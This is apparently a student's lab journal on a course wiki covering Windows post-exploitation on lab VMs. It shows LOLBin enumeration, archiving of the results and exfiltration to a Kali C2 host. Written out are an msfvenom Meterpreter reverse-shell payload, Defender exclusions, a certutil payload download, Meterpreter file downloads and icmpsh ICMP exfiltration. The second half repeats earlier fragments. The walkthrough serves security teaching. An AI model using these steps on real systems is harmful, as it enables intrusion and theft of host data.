Entry 5‐ Staging and Exfiltration - 229300/SEC-335-01 GitHub Wiki

Lab Environment Setup

Use your Windows 10 VM on Proxmox. You need standard user access as champuser and access to your Kali/C2 server.

Prerequisites

Complete these steps before starting Task 1:

Download the command-line version of 7-Zip to your Windows VM

Navigate to: 7-zip.org
Download the most recent x64 version
Looks like:

Use the native Windows version of the tar command
Read the documentation for PowerShell's Compress-Archive cmdlet
Read how to use makecab to create compressed files
Read how to decompress each of the compressed file types you create

Task 1: Enumeration

Objective: Use LOLBins to enumerate host information. Save the output of each command to a separate file

Find the native Windows command to run the commands below, some are likely from the LOLBins assignment. Run each command as the champuser account. Redirect output to files in C:\temp\ (create this folder if it doesn’t exist.). Save all the commands to a script (.bat or PowerShell, your choice).

Enumeration Commands:

#	Description
1	Current user, groups, and privileges
2	Running processes
3	Open network sockets and connections
4	Running services
5	All local user accounts
6	All local groups
7	Users in the Administrators group
8	Network configuration (IP, gateway, DNS)
9	Firewall policies
10	ARP table
11	SMB sessions
12	System information

Create a temporary directory (if it doesn't exist):

mkdir C:\temp

Write a Script in Notepad++ (Had to download it):

whoami /all                              > C:\temp\01_user_groups_privs.txt
tasklist                                 > C:\temp\02_processes.txt
netstat -ano                             > C:\temp\03_connections.txt
tasklist /svc                            > C:\temp\04_services.txt
net user                                 > C:\temp\05_local_users.txt
net localgroup                           > C:\temp\06_local_groups.txt
net localgroup Administrators            > C:\temp\07_admins.txt
ipconfig /all                            > C:\temp\08_network_config.txt
netsh advfirewall show allprofiles       > C:\temp\09_firewall.txt
arp -a                                   > C:\temp\10_arp.txt
net session                              > C:\temp\11_smb_sessions.txt
systeminfo                               > C:\temp\12_systeminfo.txt

Save it as enumerate.bat to my C:\temp folder:

Ensure to change the file type to: All Files / Not a text (.txt) document
Looks like (Spaces aren't necessary, but it's easier to read):

Run the script:

One way is to open File Explorer, navigate to my enumerate.bat, and double click it.

Instead I'm going to naviagte to Command Prompt and run the script inside of C:\temp
Change directory to my temp folder:

cd C:\temp

Execute the script:

enumerate.bat

Output looks like:

Check that all 12 files got created with real content:

dir C:\temp

Output Screenshot:

I want to see the files with data. A file showing 0 bytes means that command produced no output. However, I should expect `11_smb_sessions.txt` to be empty, because net session usually returns `"Access is denied"` for a standard user.

To spot-check that the content is actually there, open a file:

type C:\temp\01_user_groups_privs.txt

Script for 5 additional LOLBin commands in Notepad++:

driverquery                          > C:\temp\13_drivers.txt
schtasks /query /fo LIST /v          > C:\temp\14_scheduled_tasks.txt
wmic qfe list                        > C:\temp\15_patches.txt
net accounts                         > C:\temp\16_password_policy.txt
route print                          > C:\temp\17_routing_table.txt

Save it as extra5.bat to my C:\temp folder:

Ensure to change the file type to: All Files / Not a text (.txt) document
Looks like (Spaces aren't necessary, but it's easier to read):

Run the script:

Navigate to Command Prompt and run the script inside of C:\temp
Change directory to my temp folder:

cd C:\temp

Execute the script:

extra5.bat

Output looks like:

Check that all 17 files are present with real content:

dir C:\temp

Output Screenshot:

Researching the 5 additonnal LOLBins:

Command: driverquery
What it gathers: Gathers a list of every installed device driver, including display name, type, and link date.
Why an attacker wants it: Outdated or third-party drivers are a common privilege-escalation path. A known vulnerable driver can be abused to run code in the kernel, so noticing one here points to an escalation route.

Command: schtasks /query /fo LIST /v (the /fo LIST sets list format, /v makes it verbose and verbose = more detailed output)
What it gathers: Gathers all scheduled tasks with full detail, including what program each runs, when, and under which user account.
Why an attacker wants it: Scheduled tasks are a favorite amongst persistence spots, and task actions can contain hardcoded credentials at times. They can also point at scripts an attacker can hijack.

Command: wmic qfe list (qfe means Quick Fix Engineering, meaning patches)
What it gathers: It gathers the list of installed Windows hotfixes and patches with their KB numbers and install dates.
Why an attacker wants it: To see which patches are present, and which are missing. It tells them exactly which known exploits the box is still vulnerable to.

Command: net accounts
What it gathers: Gathers the local password policy, meaning minimum password length, password age limits, and account lockout threshold.
Why an attacker wants it: Tt tells them how aggressive they can be with password guessing. A high or missing lockout threshold means they can brute force without locking the account.

Command: route print
What it gathers: Gathers the host's full IP routing table, showing which networks and gateways it can reach.
Why an attacker wants it: It reveals other subnets the machine talks to, which maps out where to move next for lateral movement.

Compression:

After completing all enumeration commands, compress all output files into one archive using each of these compression tools from the “Lab Environment Setup.”

Run these only after all my `.txt` files exist

Change to 7-zip directory:

cd "C:\Program Files\7-Zip"

Create a password protected zip file (.7z file)

7z.exe a -pSec335 C:\temp\enum_7z.7z C:\temp\*.txt

Output Screenshot:

What does the command above do?:

This command creates a password protected zip file, specifically a `.7z` file. containing all the text files from a specific folder. Think of it like taking a stack of loose papers, putting them into a secure lockbox, and locking it with a passcode.

7z.exe: This starts the 7-Zip program.
a: This stands for Add. It tells the program that I want to create a new archive (a compressed folder) and add files to it.
-pSec335: This sets the password. The -p tells the program to lock the file, and Sec335 is the actual password required to open it later.
C:\temp\enum_7z.7z: This is the destination. It tells the program exactly where to save the new lockbox and what to name it. In this case, it creates a file named enum_7z.7z inside the C:\temp folder.
C:\temp\*.txt: This is the source. It tells the program exactly what items to put inside the lockbox. The asterisk (*) is a wildcard that means "everything." So, *.txt means "grab every single file in the C:\temp folder that ends in .txt."

Bundle all of the text files from a specific folder into a single file (.tar file):

tar -cvf C:\temp\enum_tar.tar -C C:\temp *.txt

Output Screenshot:

What does the command above do?:

This command bundles all the text files from a specific folder into a single file, specifically a `.tar` file. Think of it like taking a stack of loose papers, putting them neatly into one large envelope, and while displaying the contents of the envelope. Crucially, unlike the 7-Zip command, tar only bundles files together. It does not compress or shrink them, and it does not password protect them.

tar: This launches the Tape Archive program. (Historically used for actual tape backups, it's now just used to package files together).
-cvf: These are three distinct instructions rolled into one:

c (Create): Tells the program to create a brand new archive.

v (Verbose): Tells the program to communicate with me. It will list the files on the screen one by one as it packages them.

f (File): Tells the program that the next thing I type will be the name of the file I want to create.

C:\temp\enum_tar.tar: This is the destination file. Because it immediately follows the f flag, now tar names my new master file enum_tar.tar and saves it inside the C:\temp folder.
-C C:\temp: This is a location switch (Change Directory). It tells tar to mentally jump inside the C:\temp folder before looking for the files. This is a clever trick: it prevents tar from accidentally saving the long, ugly folder path (C:/temp/) inside the archive itself, keeping the files clean inside the envelope.
*.txt: This is the source. Thanks to the -C switch right before it, tar looks inside C:\temp and says, "Grab every single file here that ends in .txt and put it in the envelope."

Navigate to PowerShell to run Compress-Archive:

Command:

Compress-Archive -Path C:\temp\*.txt -DestinationPath C:\temp\enum_zip.zip

Output Screenshot:

Using makecab

Why the .ddf is needed

Unlike `7-Zip`, `tar`, and `Compress-Archive`, `makecab` only compresses one file at a time on its own. To bundle multiple files into a single .cab, you hand it a .ddf (Diamond Directive File), which is just a plain text script that tells `makecab` its settings and listing every file to include. So I make that text file first, then point `makecab` at it.

Create a .ddf file:

In Notepad++ type:

.OPTION EXPLICIT
.Set CabinetNameTemplate=enum_cab.cab
.Set DiskDirectory1=C:\temp
.Set Cabinet=on
.Set Compress=on
C:\temp\01_user_groups_privs.txt
C:\temp\02_processes.txt
C:\temp\03_connections.txt
C:\temp\04_services.txt
C:\temp\05_local_users.txt
C:\temp\06_local_groups.txt
C:\temp\07_admins.txt
C:\temp\08_network_config.txt
C:\temp\09_firewall.txt
C:\temp\10_arp.txt
C:\temp\11_smb_sessions.txt
C:\temp\12_systeminfo.txt
C:\temp\13_drivers.txt
C:\temp\14_scheduled_tasks.txt
C:\temp\15_patches.txt
C:\temp\16_password_policy.txt
C:\temp\17_routing_table.txt

Save it as enum.ddf to my C:\temp folder:

Ensure to change the file type to: All Files / Not a text (.txt) document
Looks like:

Run makecab in Command Prompt:

cd C:\temp

makecab /f enum.ddf

The `/f` flag tells makecab "use this directive file." It'll scroll through each file as it adds it and finish with a summary showing the total bytes and the cab it created.

Output Screenshot:

Confirm it Worked:

Ensure the cab exists:

dir C:\temp\enum_cab.cab

Output Screenshot:

One heads-up:

`makecab` sometimes leaves behind two junk files in the folder, `setup.inf` and `setup.rpt`. They're harmless reporting leftovers that can be ignored or deleted.

del C:\temp\setup.inf C:\temp\setup.rpt

Task 2: Exfiltration via C2 Channel

Objective: Establish a reverse shell and exfiltrate the compressed archives to your C2 server.

Part A: Reverse Shell Setup

Generate the payload on Kali. Open a terminal on Kali and run:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.17.25 LPORT=5555 -f exe -o payload.exe

The `-p` flag picks the payload (a Meterpreter reverse TCP shell for Windows), LHOST is where it calls back to, my Kali IP, LPORT is the port it calls on (5555, since 4444 is banned), `-f exe` makes it a Windows executable, and `-o payload.exe` names the output file.

Note where my terminal is sitting when I run this (type pwd), because that's where payload.exe gets created.

Output Screenshot:

Start the listener on Kali.

The listener has to be running and waiting before you run the payload on Windows, or the call home hits nothing. Launch Metasploit:

msfconsole -q

Then one line at a time:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.17.25
set LPORT 5555
exploit

Output Screenshot:

After exploit: Leave that terminal alone, it needs to stay running

Get payload.exe onto the Windows VM:

The quickest way is a tiny web server on Kali. Open a second Kali terminal (don't touch the listener one), move to the folder holding payload.exe, and run:

python3 -m http.server 8000

Add an exclusion via Admin PowerShell:

Add-MpPreference -ExclusionPath "C:\temp"

Turn off Real-Time Protections via Windows Security
Now on the Windows VM, as champuser, open a Command Prompt and pull it down:

certutil -urlcache -f http://10.0.17.25:8000/payload.exe payload.exe

Output Screenshot:

In Command Prompt run the payload and catch the session:

C:\temp\payload.exe

It'll look like nothing happened that's correct, it runs silently. Flip back to my Kali listener terminal and within a few seconds I should see:
Tech Journal Submission 1: (screenshot of the Meterpreter session established):

In a meterpreter > prompt. To confirm I'm really on the Windows box, run:

sysinfo

Output Screenshot:

Part B: File Exfiltration

Find out where files will land on Kali. Meterpreter has a "local" working directory, meaning the Kali side. Check it:

lpwd

Output Screenshot:

Go to the archives and download each one

cd C:\\temp

The double backslashes in C:\temp are necessary because Meterpreter treats a single backslash as an escape character.

Type each 1 by 1 to Download:

download enum_7z.7z

download enum_tar.tar

download enum_zip.zip

download enum_cab.cab

Tech Journal Submission 2: (screenshot showing successful download of each archive)
Output Screenshot:

Verify on the Kali side in a New Terminal:

ls -la

Tech Journal Submission 3: (output of ls -la on the Kali side showing all transferred files with correct sizes):

I want to see 4 archives present with accurate byte sizes:

Task 3: Archive Decompression and Verification

Objective: Decompress each archive on Linux and verify data integrity.

Concept: I've got 4 archives sitting on Kali, and now I must prove the data survived the trip intact. Compression and Exfiltration are worthless to an attacker if the files come out corrupted, so this task is about unpacking each one and confirming the contents are readable and unchanged.

Quick concept on why 4 different commands: Each archive format is a different container, so each needs its matching tool to open it. A `.zip` opener can't read a `.7z` and so on. That's all the 4 commands below are, the right key for each lock.

Make sure the unpackers are installed in a fresh Kali terminal:

sudo apt update

sudo apt install p7zip-full cabextract unzip -y

Decompress each archive:

Run these commands one at a time so each is clearly visible in the recording:

7z x enum_7z.7z

7z x means: Extract with full paths. This one will prompt for the password I set during Task 1:
Password: Sec335

tar -xvf enum_tar.tar

-x means: Extract, -v verbose so it lists each file as it goes, -f points at the file.

unzip enum_zip.zip

When prompted select: [A]
Unpacks the zip and lists what it writes

cabextract enum_cab.cab

Pulls the files out of the cab

Verify the content is readable:

cat 01_user_groups_privs.txt

Before clicking the link for my video!

Look at this Screenshot:

Tech Journal Submission:

Video showing each Decompression: Decompression Video Link
Verification that at least one file from each archive is readable and matches the original:

Questions to Answer:

Which archive format produced the smallest file?

The smallest file was enum_7z.7z produced by the 7-Zip archive format.

Which compression tool was easiest to use?

Compress-Archive on PowerShell because it was a simple command with little setup.

Task 4: Non-Standard Protocol Exfiltration

Objective: Exfiltrate data using protocols not typically used for file transfer.

Standard exfiltration over HTTP or Meterpreter's download channel can be detected by monitoring outbound connections to unusual ports or IPs. Non-standard protocol exfiltration hides data in traffic that firewalls and IDS systems typically allow.

My Task:

Step 1. Research two non-standard exfiltration methods (choose from ICMP, DNS, SMTP, or others)

Step 2. Set up the tools on your C2 server - the tools may already be on Kali like dnscat2

Step 3. Exfiltrate one of your archives from the Windows VM to your Kali server using each method

Step 4. Decompress the exfiltrated archive and verify the contents are readable by showing the contents of 1 file

Method 1: ICMP Exfiltration with `icmpsh`

Concept:

ICMP (ping) has an optional data field. `icmpsh` hides shell traffic inside ICMP echo request/reply payloads. The Windows `secondary` sends echo requests to Kali, and Kali answers with echo replies that carry the commands I typed. Because most firewalls allow outbound ping, this slips a shell out of a network that blocks normal TCP reverse shells. `icmpsh` gives us an interactive `cmd.exe` shell; it has no file-copy command of its own, so we convert the file to text and carry it through the shell.

Get the Windows binary onto the VM

On Kali, clone the official repo. It already contains the compiled secondary icmpsh.exe plus the Python master icmpsh_m.py
The commands:

cd ~

git clone https://github.com/bdamele/icmpsh.git

cd icmpsh

Output Screenshot:

Host the folder with Python's built-in web server so the Windows VM can pull the binary:

python3 -m http.server 80

Create a working folder and exclude it (run this in an elevated PowerShell)

mkdir C:\lab

Add-MpPreference -ExclusionPath "C:\lab"

Output Screenshot:

Ensure Real-Time Protections is off in Windows Security

On the Windows 10 VM, open a non-admin command prompt and download the secondary with certutil.
Command:

certutil -urlcache -split -f http://10.0.17.25/icmpsh.exe icmpsh.exe

Output Screenshot:

Move icmpsh.exe to my new C:\lab folder:

mv C:\temp\icmpsh.exe C:\lab\

Output:

Prepare the Kali master (server)

The master needs Python impacket. On current Kali it is already present; if not, install it:

sudo apt install -y python3-impacket

Critical, stop the Linux kernel from answering the pings itself, or the secondary will send data but never receive my commands

Command:

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1

Output Screenshot:

Create a copy of the file:

cp icmpsh_m.py icmpsh_m.py.bak

Open and Edit the file:

nano ~/icmpsh/icmpsh_m.py

Find line 40:
Line looks like:

if subprocess.mswindows:

Change it to:

if sys.platform == "win32":

Find line 103:
Line looks like:

sys.stdout.write(data)

Change it to:

sys.stdout.write(data.decode())

Find line 119:
Line looks like:

icmp.contains(ImpactPacket.Data(cmd))

Change it to:

icmp.contains(ImpactPacket.Data(cmd.encode()))

Output Screenshot:

Start the master. The syntax is the source IP (my Kali IP) followed by the destination IP (my Windows VM IP):

Commands:

cd ~/icmpsh

sudo python3 icmpsh_m.py 10.0.17.25 10.0.17.50

Verify the clone

ls ~/icmpsh

Back on Windows launch the secondary:

In the C:\lab path in command prompt type:

icmpsh.exe -t 10.0.17.25

Exfiltrate the archive (base64 bridge) (via icmpsh shell on Kali vm)

Produce single-line base64 with PowerShell and capture it:

certutil -encode C:\lab\loot.7z C:\lab\loot.b64

type C:\lab\loot.b64

Select and copy all the base64 lines
In new Kali terminal create loot.b64

nano loot.b64

Paste the Base64 string into loot.b64 and save it.
Decode it:

Command:

base64 -d loot.b64 > loot.7z

Verify it:

7z l loot.7z

ls -l

Entry 5‐ Staging and Exfiltration - 229300/SEC-335-01 GitHub Wiki

Lab Environment Setup

Use your Windows 10 VM on Proxmox. You need standard user access as champuser and access to your Kali/C2 server.

Prerequisites

Complete these steps before starting Task 1:

Task 1: Enumeration

Objective: Use LOLBins to enumerate host information. Save the output of each command to a separate file

Find the native Windows command to run the commands below, some are likely from the LOLBins assignment. Run each command as the champuser account. Redirect output to files in C:\temp\ (create this folder if it doesn’t exist.). Save all the commands to a script (.bat or PowerShell, your choice).

Enumeration Commands:

One way is to open File Explorer, navigate to my enumerate.bat, and double click it.

I want to see the files with data. A file showing 0 bytes means that command produced no output. However, I should expect 11_smb_sessions.txt to be empty, because net session usually returns "Access is denied" for a standard user.

After completing all enumeration commands, compress all output files into one archive using each of these compression tools from the “Lab Environment Setup.”

Run these only after all my .txt files exist

This command creates a password protected zip file, specifically a .7z file. containing all the text files from a specific folder. Think of it like taking a stack of loose papers, putting them into a secure lockbox, and locking it with a passcode.

7z.exe: This starts the 7-Zip program.

a: This stands for Add. It tells the program that I want to create a new archive (a compressed folder) and add files to it.

-pSec335: This sets the password. The -p tells the program to lock the file, and Sec335 is the actual password required to open it later.

C:\temp\enum_7z.7z: This is the destination. It tells the program exactly where to save the new lockbox and what to name it. In this case, it creates a file named enum_7z.7z inside the C:\temp folder.

C:\temp\*.txt: This is the source. It tells the program exactly what items to put inside the lockbox. The asterisk (*) is a wildcard that means "everything." So, *.txt means "grab every single file in the C:\temp folder that ends in .txt."

tar: This launches the Tape Archive program. (Historically used for actual tape backups, it's now just used to package files together).

-cvf: These are three distinct instructions rolled into one:

c (Create): Tells the program to create a brand new archive.

v (Verbose): Tells the program to communicate with me. It will list the files on the screen one by one as it packages them.

f (File): Tells the program that the next thing I type will be the name of the file I want to create.

C:\temp\enum_tar.tar: This is the destination file. Because it immediately follows the f flag, now tar names my new master file enum_tar.tar and saves it inside the C:\temp folder.

*.txt: This is the source. Thanks to the -C switch right before it, tar looks inside C:\temp and says, "Grab every single file here that ends in .txt and put it in the envelope."

Why the .ddf is needed

The /f flag tells makecab "use this directive file." It'll scroll through each file as it adds it and finish with a summary showing the total bytes and the cab it created.

One heads-up:

makecab sometimes leaves behind two junk files in the folder, setup.inf and setup.rpt. They're harmless reporting leftovers that can be ignored or deleted.

Task 2: Exfiltration via C2 Channel

Objective: Establish a reverse shell and exfiltrate the compressed archives to your C2 server.

Part A: Reverse Shell Setup

The -p flag picks the payload (a Meterpreter reverse TCP shell for Windows), LHOST is where it calls back to, my Kali IP, LPORT is the port it calls on (5555, since 4444 is banned), -f exe makes it a Windows executable, and -o payload.exe names the output file.

Note where my terminal is sitting when I run this (type pwd), because that's where payload.exe gets created.

The listener has to be running and waiting before you run the payload on Windows, or the call home hits nothing. Launch Metasploit:

The quickest way is a tiny web server on Kali. Open a second Kali terminal (don't touch the listener one), move to the folder holding payload.exe, and run:

Part B: File Exfiltration

The double backslashes in C:\temp are necessary because Meterpreter treats a single backslash as an escape character.

Task 3: Archive Decompression and Verification

Objective: Decompress each archive on Linux and verify data integrity.

Concept: I've got 4 archives sitting on Kali, and now I must prove the data survived the trip intact. Compression and Exfiltration are worthless to an attacker if the files come out corrupted, so this task is about unpacking each one and confirming the contents are readable and unchanged.

Quick concept on why 4 different commands: Each archive format is a different container, so each needs its matching tool to open it. A .zip opener can't read a .7z and so on. That's all the 4 commands below are, the right key for each lock.

Run these commands one at a time so each is clearly visible in the recording:

Before clicking the link for my video!

Look at this Screenshot:

Tech Journal Submission:

Questions to Answer:

Task 4: Non-Standard Protocol Exfiltration

Objective: Exfiltrate data using protocols not typically used for file transfer.

Standard exfiltration over HTTP or Meterpreter's download channel can be detected by monitoring outbound connections to unusual ports or IPs. Non-standard protocol exfiltration hides data in traffic that firewalls and IDS systems typically allow.

My Task:

Method 1: ICMP Exfiltration with icmpsh

Concept:

Method 1 Video: Method 1 Proof Video

Don't have Method 2 Video

I want to see the files with data. A file showing 0 bytes means that command produced no output. However, I should expect `11_smb_sessions.txt` to be empty, because net session usually returns `"Access is denied"` for a standard user.

Run these only after all my `.txt` files exist

This command creates a password protected zip file, specifically a `.7z` file. containing all the text files from a specific folder. Think of it like taking a stack of loose papers, putting them into a secure lockbox, and locking it with a passcode.

`7z.exe`: This starts the 7-Zip program.

`a`: This stands for Add. It tells the program that I want to create a new archive `(a compressed folder)` and add files to it.

`-pSec335`: This sets the password. The -p tells the program to lock the file, and Sec335 is the actual password required to open it later.

`C:\temp\enum_7z.7z`: This is the destination. It tells the program exactly where to save the new lockbox and what to name it. In this case, it creates a file named `enum_7z.7z` inside the `C:\temp` folder.

`C:\temp\.txt`: This is the source. It tells the program exactly what items to put inside the lockbox. The asterisk () is a wildcard that means "everything." So, `*.txt` means "grab every single file in the `C:\temp` folder that ends in `.txt`."

`tar`: This launches the `Tape Archive` program. (Historically used for actual tape backups, it's now just used to package files together).

`-cvf`: These are three distinct instructions rolled into one:

`C:\temp\enum_tar.tar`: This is the destination file. Because it immediately follows the `f` flag, now `tar` names my new master file `enum_tar.tar` and saves it inside the `C:\temp` folder.

`*.txt`: This is the source. Thanks to the `-C` switch right before it, `tar` looks inside `C:\temp` and says, "Grab every single file here that ends in `.txt` and put it in the envelope."

The `/f` flag tells makecab "use this directive file." It'll scroll through each file as it adds it and finish with a summary showing the total bytes and the cab it created.

`makecab` sometimes leaves behind two junk files in the folder, `setup.inf` and `setup.rpt`. They're harmless reporting leftovers that can be ignored or deleted.

The `-p` flag picks the payload (a Meterpreter reverse TCP shell for Windows), LHOST is where it calls back to, my Kali IP, LPORT is the port it calls on (5555, since 4444 is banned), `-f exe` makes it a Windows executable, and `-o payload.exe` names the output file.

Quick concept on why 4 different commands: Each archive format is a different container, so each needs its matching tool to open it. A `.zip` opener can't read a `.7z` and so on. That's all the 4 commands below are, the right key for each lock.

Method 1: ICMP Exfiltration with `icmpsh`